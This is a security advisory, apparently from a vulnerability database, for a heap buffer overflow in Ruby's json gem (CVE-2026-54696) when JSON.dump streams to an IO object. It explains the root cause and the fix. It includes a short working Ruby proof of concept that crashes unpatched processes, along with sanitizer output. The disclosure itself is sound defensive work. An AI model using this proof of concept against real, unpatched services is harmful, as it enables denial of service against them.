GHSA-X2F5-4PRF-W687

Vulnerability from github – Published: 2026-07-23 19:48 – Updated: 2026-07-23 19:48
VLAI
Summary
Ruby json: JSON generator heap buffer overflow when streaming to an IO
Details

Summary

JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. The issue is a heap out-of-bounds write in the IO-streaming path and is demonstrated as a reliable process crash / denial of service.

This was triaged on HackerOne as report #3785370. The issue was confirmed there and I was asked to open it here.

Details

Root cause is in ext/json/fbuffer/fbuffer.h, fbuffer_do_inc_capa().

On the IO path, the buffer is grown to FBUFFER_IO_BUFFER_SIZE (16383), but the early return checks total capacity instead of remaining capacity:

if (RB_UNLIKELY(fb->io)) {
    if (fb->capa < FBUFFER_IO_BUFFER_SIZE) {
        fbuffer_realloc(fb, FBUFFER_IO_BUFFER_SIZE);
    } else {
        fbuffer_flush(fb);
    }

    if (RB_LIKELY(requested < fb->capa)) {
        return;
    }
}

If fb->len already contains JSON syntax bytes, and a string flush has 16383 - fb->len <= requested < 16383, this check returns even though there is not enough space left. fbuffer_append_reserved() then writes past the buffer:

MEMCPY(fb->ptr + fb->len, newstr, char, len);

The minimal fix is to compare against the remaining capacity:

-        if (RB_LIKELY(requested < fb->capa)) {
+        if (RB_LIKELY(requested <= fb->capa - fb->len)) {
             return;
         }

PoC

require "json"
require "stringio"

io = StringIO.new
big = "a" * 16385
big[16382] = '"'          # escapable byte near the buffer boundary

JSON.dump([big], io)

Verified results:

Ruby 4.0.5 / bundled json 2.18.0:
malloc(): invalid size (unsorted)
.../json/common.rb:956: [BUG] Aborted

ruby/ruby master c78418b7a0 / json 2.19.8 / ASan:
heap-buffer-overflow WRITE of size 16382
  fbuffer_append_reserved  ext/json/fbuffer/fbuffer.h:145
  search_flush             ext/json/generator/generator.c:139
  convert_UTF8_to_JSON     ext/json/generator/generator.c:231
  raw_generate_json_string ext/json/generator/generator.c:922
  cState_m_generate        ext/json/generator/generator.c:1891

Control: the same data through JSON.dump([big]) without an IO argument returns normally. The bug is specific to the IO-streaming path.

Impact

A remote attacker can trigger a heap out-of-bounds write if they control a string field that an application serializes through JSON.dump(obj, io) or JSON::State#generate(obj, io). The demonstrated impact is reliable denial of service. I am not claiming code execution or information disclosure.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "json"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9.0"
            },
            {
              "fixed": "2.19.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-122",
      "CWE-131",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-23T19:48:08Z",
    "nvd_published_at": "2026-06-30T23:17:28Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\n`JSON.dump(obj, io)` and `JSON::State#generate(obj, io)` can write past the\ninternal JSON generator buffer when a streamed object contains an\nattacker-controlled string near 16 KB. The issue is a heap out-of-bounds write\nin the IO-streaming path and is demonstrated as a reliable process crash /\ndenial of service.\n\nThis was triaged on HackerOne as report #3785370. The issue was confirmed there\nand I was asked to open it here.\n\n### Details\n\nRoot cause is in `ext/json/fbuffer/fbuffer.h`, `fbuffer_do_inc_capa()`.\n\nOn the IO path, the buffer is grown to `FBUFFER_IO_BUFFER_SIZE` (16383), but the\nearly return checks total capacity instead of remaining capacity:\n\n```c\nif (RB_UNLIKELY(fb-\u003eio)) {\n    if (fb-\u003ecapa \u003c FBUFFER_IO_BUFFER_SIZE) {\n        fbuffer_realloc(fb, FBUFFER_IO_BUFFER_SIZE);\n    } else {\n        fbuffer_flush(fb);\n    }\n\n    if (RB_LIKELY(requested \u003c fb-\u003ecapa)) {\n        return;\n    }\n}\n```\n\nIf `fb-\u003elen` already contains JSON syntax bytes, and a string flush has\n`16383 - fb-\u003elen \u003c= requested \u003c 16383`, this check returns even though there is\nnot enough space left. `fbuffer_append_reserved()` then writes past the buffer:\n\n```c\nMEMCPY(fb-\u003eptr + fb-\u003elen, newstr, char, len);\n```\n\nThe minimal fix is to compare against the remaining capacity:\n\n```diff\n-        if (RB_LIKELY(requested \u003c fb-\u003ecapa)) {\n+        if (RB_LIKELY(requested \u003c= fb-\u003ecapa - fb-\u003elen)) {\n             return;\n         }\n```\n\n### PoC\n\n```ruby\nrequire \"json\"\nrequire \"stringio\"\n\nio = StringIO.new\nbig = \"a\" * 16385\nbig[16382] = \u0027\"\u0027          # escapable byte near the buffer boundary\n\nJSON.dump([big], io)\n```\n\nVerified results:\n\n```text\nRuby 4.0.5 / bundled json 2.18.0:\nmalloc(): invalid size (unsorted)\n.../json/common.rb:956: [BUG] Aborted\n\nruby/ruby master c78418b7a0 / json 2.19.8 / ASan:\nheap-buffer-overflow WRITE of size 16382\n  fbuffer_append_reserved  ext/json/fbuffer/fbuffer.h:145\n  search_flush             ext/json/generator/generator.c:139\n  convert_UTF8_to_JSON     ext/json/generator/generator.c:231\n  raw_generate_json_string ext/json/generator/generator.c:922\n  cState_m_generate        ext/json/generator/generator.c:1891\n```\n\nControl: the same data through `JSON.dump([big])` without an IO argument returns\nnormally. The bug is specific to the IO-streaming path.\n\n### Impact\n\nA remote attacker can trigger a heap out-of-bounds write if they control a\nstring field that an application serializes through `JSON.dump(obj, io)` or\n`JSON::State#generate(obj, io)`. The demonstrated impact is reliable denial of\nservice. I am not claiming code execution or information disclosure.",
  "id": "GHSA-x2f5-4prf-w687",
  "modified": "2026-07-23T19:48:08Z",
  "published": "2026-07-23T19:48:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby/json/security/advisories/GHSA-x2f5-4prf-w687"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54696"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/json/commit/996bac686d64e4e3aaeae03b14a7f9ee9695ebdb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby/json"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/json/releases/tag/v2.19.9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/json/CVE-2026-54696.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ruby json: JSON generator heap buffer overflow when streaming to an IO"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…